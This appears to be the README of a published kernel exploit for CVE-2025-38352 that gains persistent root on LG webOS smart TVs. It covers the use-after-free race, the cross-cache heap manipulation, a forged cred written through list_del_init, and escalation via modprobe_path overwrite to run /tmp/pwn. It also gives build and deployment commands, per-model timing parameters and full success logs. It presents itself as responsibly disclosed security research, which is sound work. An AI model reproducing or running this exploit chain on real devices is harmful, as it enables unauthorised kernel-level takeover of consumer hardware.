
CVE-2025-38352 Kernel-Exploit für LG webOS Smart TVs (ARM64). Erreicht persistenten Root auf echter Consumer-Hardware mit neuartigen Exploitation-Techniken. Verantwortungsvoll an LG offengelegt.
Kernel-Exploit für CVE-2025-38352 (POSIX-CPU-Timer-Race-Condition / Use-After-Free), das persistenten Root-Zugriff auf LG webOS Smart TVs mit Kernel 5.4.268 auf ARM64 ermöglicht. Verifiziert auf 4 TV-Modellen mit mehreren Firmware-Versionen. Verantwortungsvoll gegenüber LG's Security Researcher Program offengelegt (Februar 2026).
Basierend auf Chronomaly von farazsth98. Stufe-1-UAF-Race-Logik und Cross-Cache-Infrastruktur für ARM64 portiert und angepasst; Stufen 2–5 mit neuartigen Exploitation-Techniken und Lösungen für reale Hardware-Beschränkungen, die in emulierten Umgebungen nicht existieren, neu gestaltet. Entwickelt mit Unterstützung von Claude Opus 4.6.
Siehe VULNERABILITY_REPORT.md für die vollständige Schwachstellenanalyse, den Exploit-Chain-Walkthrough und empfohlene Gegenmaßnahmen.
prisoner-Benutzer (uid=5038)Dieser Exploit wurde im Rahmen verantwortungsvoller Sicherheitsforschung entwickelt und am 7. Februar 2026 an LG's Security Researcher Program gemeldet. Er wird nur zu Bildungszwecken veröffentlicht. Verwenden Sie ihn verantwortungsvoll und nur auf Geräten, die Ihnen gehören. Die Autoren übernehmen keine Haftung für Schäden, Bricking, Datenverlust oder Garantieverlust, die durch die Nutzung dieser Software entstehen. Diese Software wird ohne Gewährleistung bereitgestellt.
Das ursprüngliche willkürliche Dekrementieren ist langsam und laut: Es verteilt 1.000 struct cred-Objekte über forked-Prozesse und dekrementiert dann das EUID-Feld einer Ziel-cred N-mal. Jedes Dekrement ist ein separater Vorgang. In QEMU, wo das Timing nachsichtig ist, ist dies akzeptabel, aber auf echter Hardware unzuverlässig, wo interruptgesteuerte Seitenwiedergewinnung zwischen den Vorgängen Pipe-Buffer-Seiten stehlen kann.
Dies wurde durch einen einzelnen willkürlichen Schreibvorgang mittels list_del_init() ersetzt. Der Exploit überschreibt die list_head.next- und list_head.prev-Zeiger der UAF-sigqueue über den Pipe-Buffer. Wenn der Kernel das anstehende Signal aus der Warteschlange entfernt (collect_signal() → list_del_init()), führt er prev->next = next (schreibt die gefälschte Cred-Adresse in task_struct->cred) und next->prev = prev (kontrollierter Seiteneffektschreibvorgang) aus. Ein Schreibvorgang ersetzt den Cred-Zeiger des Prozesses durch einen Zeiger auf eine gefälschte Cred-Struktur, die uid/gid-Felder mit Null enthält. Kein Cred-Spray, keine forked-Prozesse, deterministisch.
peek_pipe() mittels tee() für nicht-destruktive LesevorgängeDas Original verwendet im gesamten Exploit destruktive read()-Aufrufe auf Pipe-Buffer. In QEMU funktioniert dies gut, da Seiten zwischen Vorgängen nicht gestohlen werden. Auf echter Hardware mit 4 physischen Kernen gibt die kernelweite Per-CPU-Seitenliste (pcplist) freigegebene Seiten aggressiv frei. Ein destruktives Lesen gibt die zugrunde liegende Seite des Pipe-Buffers frei, die sofort von einem Hardware-Interrupt gestohlen werden kann, bevor der Exploit sie neu zuweisen kann.
Die Lösung ist eine nicht-destruktive Pipe-Lese-Primitive mittels tee(). Der tee()-Syscall dupliziert Pipe-Daten zwischen zwei Pipes, ohne sie zu verbrauchen, und hält so die zugrunde liegende Seite des ursprünglichen Pipe-Buffers fixiert. Dadurch kann der Exploit wiederholt Kernel-Daten aus dem Cross-Cache-Pipe-Buffer lesen, ohne das Risiko eines Seitenverlusts. Dies war für die Zuverlässigkeit auf echter Hardware entscheidend.
Das Original verteilt Cred-Objekte und hofft, eines an einer vorhersagbaren Position zu platzieren. Diese Version konstruiert die gefälschte Cred-Struktur an einer bekannten Adresse durch einen zweiten Cross-Cache: eine neue Sigqueue mittels tkill(SIGRTMIN+1) zuweisen, ihre Adresse aus dem Heap-Leak des ersten Pipe-Buffers erfahren, dann die Slab-Seite dieser Sigqueue in einen zweiten Pipe-Buffer cross-cachen. Die gefälschte Cred wird in den zweiten Pipe-Buffer an der exakten Seiten-Offset der geleakten Sigqueue-Adresse geschrieben. Das Ergebnis ist eine gefälschte Cred an einer deterministischen Kernel-Adresse ohne Rätselraten.
Das Original entfernt SIGUSR2 früh in Stufe 2 aus der Warteschlange, um die Adresse der UAF-Sigqueue zu leaken. Dies verbraucht das Signal, sodass das Original einen anderen Mechanismus für den finalen Schreibvorgang benötigt. Diese Version benötigt niemals die eigene Adresse der UAF-Sigqueue (der Heap-Leak stammt von benachbarten Sigqueue-Zeigern im Pipe-Buffer). SIGUSR2 bleibt über alle fünf Stufen anstehend und seine Entfernung aus der Warteschlange wird als finaler willkürlicher Schreib-Trigger verwendet. Das Signal, das die UAF erzeugt hat, ist dasselbe Signal, dessen Aus der Warteschlange sie ausnutzt.
modprobe_path + socket(44)-EskalationDie gefälschte Cred-Struktur hat NULL-user_ns-, user- und group_info-Zeiger (da der Pipe-Buffer über die uid/gid-Felder hinaus nullinitialisiert ist). Aufrufe von setresuid(), fork() oder exec() würden diese NULL-Zeiger dereferenzieren und einen Kernel-Panic auslösen. Das Original vermeidet dies, da sein Cred-Spray echte Cred-Objekte mit gültigen Zeigern verwendet.
Die Lösung: /proc/sys/kernel/modprobe überschreiben, um auf ein Payload-Skript (/tmp/pwn) zu verweisen, dann call_usermodehelper mittels socket(44, SOCK_STREAM, 0) auslösen (Anfrage einer nicht existierenden Protokollfamilie). Der Kernel führt den Modprobe-Helfer mit init_cred (den eigenen Root-Anmeldedaten des Kernels, vollständig gültig) aus und umgeht so die beschädigte Cred vollständig. Das Payload wird als vollwertiger Root ausgeführt und kann beliebige Operationen durchführen.
Das kritische Fenster in Stufe 4 (Schreiben bösartiger Zeiger in den Pipe-Buffer, dann Auslösen des Signal-Dequeue) ist anfällig für Hardware-Interrupts, die die Pipe-Buffer-Seite aus der Per-CPU-Seitenliste stehlen. Dies passiert in QEMU nicht. Auf echter Hardware wird dieses Fenster mit SCHED_FIFO-Priorität (sofern verfügbar) und sched_yield() geschützt, um anstehende Arbeiten auf der CPU vor dem Eintritt in den kritischen Abschnitt abzuschließen, plus vorbereitete Pufferinhalte, um die Zeit zwischen Schreibvorgang und Auslösung zu minimieren. Der Exploit fällt auch elegant zurück, wenn SCHED_FIFO nicht verfügbar ist (wie auf webOS, wo der prisoner-Benutzer nicht über CAP_SYS_NICE verfügt).
task_struct-Offset Reverse EngineeringDer willkürliche Schreibvorgang zielt auf task_struct->cred, was die Kenntnis des Byte-Offsets von task_struct->pending (dessen Adresse aus dem Pipe-Buffer geleakt wird) zu task_struct->cred erfordert. Dieser Offset ist kernel-konfigurationsabhängig. Der Offset von 0x80 (128 Byte) wurde manuell aus dem LG webOS-Kernel-Quellcode berechnet, unter Berücksichtigung von CONFIG_KEYS=y, CONFIG_SYSVIPC=y und ARM64-spezifischem Struktur-Layout und Alignment. Der x86_64-Offset im Original unterscheidet sich aufgrund unterschiedlicher Struktur-Packing und Konfigurationsoptionen.
Bei Erfolg führt der Exploit folgende Schritte aus:
/proc/sys/kernel/modprobe, um ein Rooting-Payload als init auszuführenaarch64-linux-gnu-gcc)# macOS (erfordert Third-Party-Tap)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu
# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu
Installieren Sie die Homebrew Channel App auf Ihrem TV über Dev Mode bevor Sie den Exploit ausführen. Auf diese Weise muss das Rooting-Payload es nur erhöhen (schnell, zuverlässig), anstatt es zu installieren und zu erhöhen (langsamer, kann fehlschlagen). Sie können es mit ares-install oder der Dev Manager App sideloaden:
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk
Wenn HBC nicht vorinstalliert ist, wird der Exploit versuchen, es von /tmp/hbchannel.ipk zu installieren (bereitgestellt von deploy-webos.sh), aber dies fügt zusätzliche Schritte hinzu, die fehlschlagen können.
# 1. Setzen Sie die IP Ihres TVs und den SSH-Schlüssel
# Die IP Ihres TVs finden Sie unter Einstellungen > Netzwerk > WLAN > Erweiterte Einstellungen
# Der SSH-Schlüssel wird von der LG Developer Mode App generiert – suchen Sie den Schlüssel,
# der von Dev Manager oder ares-setup-device heruntergeladen wurde (normalerweise webos_rsa genannt)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"
# 2. Bauen und bereitstellen (deploy-webos.sh übernimmt den Bau automatisch)
./deploy-webos.sh
# 3. Verbinden und ausführen
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64
Der Exploit akzeptiert Timing-Parameter als Kommandozeilenargumente:
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]
Wenn keine Argumente angegeben werden, werden die kompilierten Standardwerte verwendet (DELAY=31000, DELTA=50, THRESHOLD=3000).
Wenn DELAY angegeben wird, DELTA jedoch nicht, wird DELTA automatisch als DELAY / 600 (gerundet auf das nächste 5) berechnet.
Beobachten Sie die Ausgabe des Exploits und passen Sie DELAY an:
Parent raced too late → DELAY VERKLEINERN
Parent raced too early → DELAY VERGRÖSSERN
Wenn beide Meldungen erscheinen, ist das Timing nah dran – führen Sie den Exploit weiter aus, er sollte irgendwann das Rennfenster treffen. Beginnen Sie mit dem kompilierten Standardwert (31000) und passen Sie von dort aus an.
/tmp/pwn – oft tritt ein Timeout auf (dies ist normal). Überprüfen Sie bei Bedarf /tmp/pwn.log, um manuell zu bestätigen, dass das Payload abgeschlossen wurde.ssh root@<TV_IP>
# Passwort: alpine
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] fake_cred_addr = 0xffffff804908c820
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Signal dequeued successfully!
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
[+] Freed UAF sigqueue in parent process pid 28522
[+] Stage 2 - Cross-cache the UAF sigqueue's slab
[+] Reallocated UAF sigqueue slab as a pipe buffer data page
[+] Cleaning up all cross-cache allocations to prepare for next cross-cache
[+] Preparing task pending list for heap leaks
[DEBUG] Pipe buffer page dump (non-zero qwords):
[DEBUG] offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
[DEBUG] offset 0x968: 0xffffff80485913f8 [kernel ptr]
[+] Heap leaks:
- UAF sigqueue page offset 0x960
- Other sigqueue 0xffffff804dbee2d0
- Task pending list addr 0xffffff80485913f8
[+] Heap leak successful! Continuing...
[+] SIGUSR2 kept pending - UAF sigqueue stays in list
[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
[+] new_addr = 0xffffff804908c820 (page offset 0x820)
[+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
[+] Freeing slab 3 page...
[+] Writing fake cred at page offset 0x820
[+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
[+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)
[+] Stage 4 - Set up arbitrary write via UAF sigqueue
[+] task_pending_list_addr = 0xffffff80485913f8
[+] cred_offset = 0x80 (128 bytes)
[+] task_cred_ptr_addr = 0xffffff8048591378
[+] fake_cred_addr = 0xffffff804908c820
[+] Will write: *0xffffff8048591378 = 0xffffff804908c820
[+] SIGUSR2 still pending from Stage 1
[-] SCHED_FIFO unavailable - proceeding anyway
[DEBUG] Verifying sigqueue fields in pipe buffer:
[DEBUG] list.next = 0xffffff804908c820 (expected 0xffffff804908c820) OK
[DEBUG] list.prev = 0xffffff8048591378 (expected 0xffffff8048591378) OK
[DEBUG] flags = 1 (expected 1) OK
[DEBUG] si_signo = 12 (expected 12 = SIGUSR2) OK
[DEBUG] All sigqueue fields verified OK
[+] Stage 5 - Trigger arbitrary write via signal dequeue
[+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
[+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
[DEBUG] poll() returned 1, revents=0x1
[DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
[DEBUG] Key addresses for list_del_init:
[DEBUG] UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
[DEBUG] UAF.next (entry->next) = fake_cred = 0xffffff804908c820
[DEBUG] fake_cred[0] should be task_pending_list = 0xffffff80485913f8
[DEBUG] Expected writes:
[DEBUG] *(0xffffff8048591378) = 0xffffff804908c820 (task->cred = fake_cred)
[DEBUG] *(0xffffff804908c828) = 0xffffff8048591378 (fake_cred.prev = task_cred_ptr)
[DEBUG] Verifying pipe buffers still valid...
[DEBUG] realloc_pipe read(0) = 0 (errno=1)
[DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
[DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
[DEBUG] read() returned 128, errno=0 (Success)
[DEBUG] Blocking mode restored
[+] Signal dequeued successfully! (read 128 bytes)
[DEBUG] POST-DEQUEUE pipe buffer check:
[DEBUG] list.next = 0xffffff80417e9960
[DEBUG] list.prev = 0xffffff80417e9960
[DEBUG] Pointers changed by kernel (list_del_init applied to our page)
[+] Arbitrary write completed: task->cred now points to fake_cred
[+] Checking privileges...
[+] Current EUID: 0, UID: 1213797240
██████╗ ██████╗ ██████╗ ████████╗ ██╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝ ██║
██████╔╝██║ ██║██║ ██║ ██║ ██║
██╔══██╗██║ ██║██║ ██║ ██║ ╚═╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
[+] ROOT ACHIEVED! EUID = 0
[+] modprobe -> /tmp/pwn
[+] Rooting payload executed!
[+] Waiting for /tmp/pwn to finish...
[+] May take up to 5 minutes to finish.
Originalbeiträge sind MIT-lizenziert. Teile, die von Chronomaly von farazsth98 abgeleitet sind, sind von der MIT-Lizenz ausgeschlossen, da das ursprüngliche Projekt ohne explizite Lizenz veröffentlicht wurde. Siehe LICENSE für Details.
| Variable | Standard | Beschreibung |
|---|
WEBOS_IP | 192.168.1.100 | TV-IP-Adresse |
WEBOS_PORT | 9922 | SSH-Port |
WEBOS_USER | prisoner | SSH-Benutzer |
WEBOS_KEY | $HOME/.ssh/webos_rsa | SSH-Schlüsselpfad |
| TV-Modell | OTA ID | DELAY | DELTA | THRESHOLD |
|---|
| OLED65C2PUA | HE_DTV_W22O_AFABATPU | 29700 | 50 | 3000 |
| 86QNED70AUA | HE_DTV_W25P_AFADATAA | 100000 | 165 | 3000 |
| OLED77C5PUA | HE_DTV_W25G_AFABATAA | 30500 | 50 | 3000 |
| OLED77G4WUA | HE_DTV_W24O_AFABATAA | 24500 | 50 | 2500 |
| OLED65C4PUA | HE_DTV_W24G_AFABATAA | 30000 | 50 | 3000 |
| OLED55C4PUA | HE_DTV_W24G_AFABATAA | 30300 | 50 | 3000 |
| OLED48C3AUB | - | 31300 | 50 | 3000 |
| OLED65C3PUA | HE_DTV_W23O_AFABJAAA | 27900 | 50 | 3000 |